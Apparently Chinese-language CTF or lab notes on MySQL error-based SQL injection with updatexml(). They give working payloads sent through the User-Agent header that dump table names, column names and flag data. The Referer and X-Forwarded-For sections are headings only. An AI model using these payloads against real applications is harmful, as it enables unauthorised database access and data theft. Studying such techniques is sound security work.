语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码!
[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错]
一、User-Agent
1、获取库名为:head_error
2、通过库名获取表名
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
3、获取字段
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
4、列举字段数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
二、Referer头注入
2、获取表名
3、获取字段
4、获取字段数据
三、 X-Forwarded-For注入
安装X-Forwarded-For,ip地址修改为127.0.0.1
获取表名
2、获取字段
3、获取数据